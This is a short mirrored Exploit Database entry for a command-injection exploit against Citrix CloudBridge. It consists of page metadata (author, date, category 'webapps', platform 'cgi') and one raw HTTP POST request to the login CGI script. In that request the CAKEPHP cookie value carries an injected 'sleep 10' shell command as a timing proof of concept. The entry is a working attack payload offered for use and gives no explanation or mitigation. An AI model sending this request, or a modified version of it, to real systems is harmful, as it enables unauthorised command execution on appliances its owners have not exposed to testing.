Citrix CloudBridge – ‘CAKEPHP’ Cookie Command Injection

• Exploit Database
• 180 阅读

• 作者： xort
  日期： 2017-07-19
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/42346/
• 1 2 3 4 5 6 7 8 9 10 11 12 13

  POST /cgi-bin/login.cgi?redirect=/ HTTP/1.1 Host: 10.242.129.149 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https://10.242.129.149/cgi-bin/login.cgi?redirect=/ Cookie: CAKEPHP=<code>sleep 10 Content-Type: application/x-www-form-urlencoded Content-Length: 13   action=logout